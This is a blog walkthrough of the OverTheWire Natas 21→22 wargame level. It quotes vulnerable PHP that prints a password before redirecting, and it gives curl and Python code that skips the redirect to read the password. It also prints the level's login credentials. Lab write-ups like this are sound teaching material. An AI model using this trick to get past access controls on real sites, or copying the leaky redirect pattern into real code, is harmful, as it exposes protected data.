OverTheWire Natas Level 21 → 22 tutorial!!
Published on 03 Jan 2024
Login
URL: http://natas22.natas.labs.overthewire.org
Credentials: natas22:d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz
# Using curl (optional):
curl -u natas22:d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz
"http://natas22.natas.labs.overthewire.org/?revelio=1"
Task
The source shows:
session_start();
if (array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if (!($_SESSION && array_key_exists("admin", $_SESSION) && $_SESSION["admin"] == 1)) {
header("Location: /");
}
}
if (array_key_exists("revelio", $_GET)) {
print "You are an admin. The credentials for the next level are:<br>";
...
}
The page prints the password when ?revelio=1
is present — even for non-admins — but then sends a redirect. Browsers follow the redirect and hide the printed content. If we do not follow redirects, we can read it.
Solution
Python requests
import requests
url = "http://natas22.natas.labs.overthewire.org/?revelio=1"
auth = ("natas22", "d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz")
# Do not follow the Location redirect
r = requests.get(url, auth=auth, allow_redirects=False)
print(r.text)
Output includes the creds straight in the body.
Password
dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs
Why this works
- PHP echoes content before calling
header("Location: /")
. - Browsers follow the redirect, so users don’t see the echoed content.
- Tools like
curl
/requests
can disable redirects and see the original response.
Troubleshooting
- Seeing only the homepage? Ensure you requested
?revelio=1
. -
Still getting redirected? Turn off following:
curl
→ add--max-redirs 0
requests
→allow_redirects=False
- Blank? Your auth might be wrong; recheck username/password.
Nice! 🎉 That’s a neat example of leaking sensitive data before a redirect. Onward to natas23!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨
all tags
GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86